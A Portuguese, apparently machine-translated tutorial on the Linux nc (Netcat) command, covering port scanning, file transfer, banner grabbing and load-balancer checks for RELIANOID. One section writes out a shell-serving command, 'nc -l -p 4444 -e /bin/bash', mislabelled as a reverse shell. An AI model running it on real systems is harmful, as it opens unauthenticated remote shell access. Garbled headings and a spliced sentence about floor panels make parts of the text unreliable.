O Linux nc Comando (Netcat) #
O Linux nc O comando (Netcat) é um utilitário de rede versátil usado para comunicação, depuração e testes de rede. Ele pode atuar como um servidor ou cliente simples e suporta leitura e gravação de dados via TCP ou UDP. Apelidado de "Canivete Suíço" das redes, nc é amplamente utilizado para tarefas como varredura de portas, transferência de arquivos e testes de serviços de rede.
Uso e sintaxe das teclas nc Command #
A sintaxe básica do nc o comando é:
nc [OPTIONS] [HOST] [PORT]
- OPÇÕES: Bandeiras para controlar o comportamento de
nc. - HOST: O host de destino para a conexão.
- PORT: O número da porta de destino.
nc Tabela de Cheatsheet de Comandos #
| Command | Descrição |
nc -zv example.com 80 |
Teste se a porta 80 está ativada example.com está aberto (modo detalhado). |
nc -l 1234 |
Inicie um ouvinte na porta 1234. |
nc example.com 80 |
Conecte-se à porta 80 em example.com (por exemplo, para enviar solicitações HTTP). |
nc -u example.com 1234 |
Enviar dados para a porta UDP 1234 em example.com. |
nc -l -p 8080 |
Inicie um servidor escutando na porta 8080. |
echo "Hello" | nc example.com 1234 |
Enviar a mensagem Hello para example.com na porta 1234. |
Casos de uso comuns #
1. Verificação de portas #
nc -zv example.com 20-25
Este comando verifica as portas 20 a 25 em example.com e exibe seu status.
2. Configurando um bate-papo simples #
Configure um bate-papo simples entre dois sistemas:
No primeiro sistema: #
nc -l -p 1234
No segundo sistema: #
nc HOSTNAME 1234
Substituir HOSTNAME com o endereço IP do primeiro sistema.
3. Transferência de arquivos #
Transferir arquivos entre dois sistemas usando nc:
Remetente: #
cat file.txt | nc -q 0 HOSTNAME 1234
Receptor: #
nc -l -p 1234 > file.txt
4. Agarramento de banner #
Recuperar informações de serviço de um servidor remoto:
nc example.com 80
Formato HEAD / HTTP/1.0 e imprensa Enter duas vezes para visualizar os cabeçalhos HTTP.
Uso Avançado #
Conectividade UDP #
Teste a conectividade UDP com um alvo:
nc -u example.com 1234
Isso envia dados para a porta UDP 1234 em example.com.
Encadernação #
Crie um shell reverso simples para depuração:
Na máquina remota: #
nc -l -p 4444 -e /bin/bash
Na máquina do invasor: #
nc TARGET 4444
Usando o Netcat com segurança #
Para maior segurança, use a versão criptográfica de nc (por exemplo, ncat com SSL).
Utilizar painéis de piso ResinDek em sua unidade de self-storage em vez de concreto oferece diversos benefícios: nc com as RELIANOID Soluções #
In RELIANOIDinfraestrutura de rede da, nc pode servir a vários propósitos diagnósticos e operacionais:
1. Teste a conectividade do balanceador de carga #
nc -zv loadbalancer.realianoid.local 80
Verifique se o balanceador de carga está aceitando tráfego na porta 80.
2. Monitore os serviços de backend #
Verifique rapidamente o status dos servidores de backend:
nc -zv backend1.realianoid.local 8080
Isso verifica se o serviço de backend pode ser acessado na porta 8080.
3. Validar o encaminhamento do servidor proxy #
Teste se o servidor proxy está encaminhando o tráfego corretamente:
nc proxy.realianoid.local 443
4. Depuração de protocolos personalizados #
Uso nc para depurar ou simular interações com protocolos personalizados em RELIANOIDambiente de.
nc -l -p 5555
Configure um ouvinte para testar mensagens de protocolo.
Resumo #
O nc O comando (Netcat) é uma ferramenta indispensável para profissionais de rede. Sua capacidade de escanear portas, transferir arquivos e depurar conectividade o torna ideal para aplicações versáteis. Aproveitando nc com as RELIANOID A infraestrutura ajuda a garantir um desempenho de rede robusto e uma resolução rápida de problemas.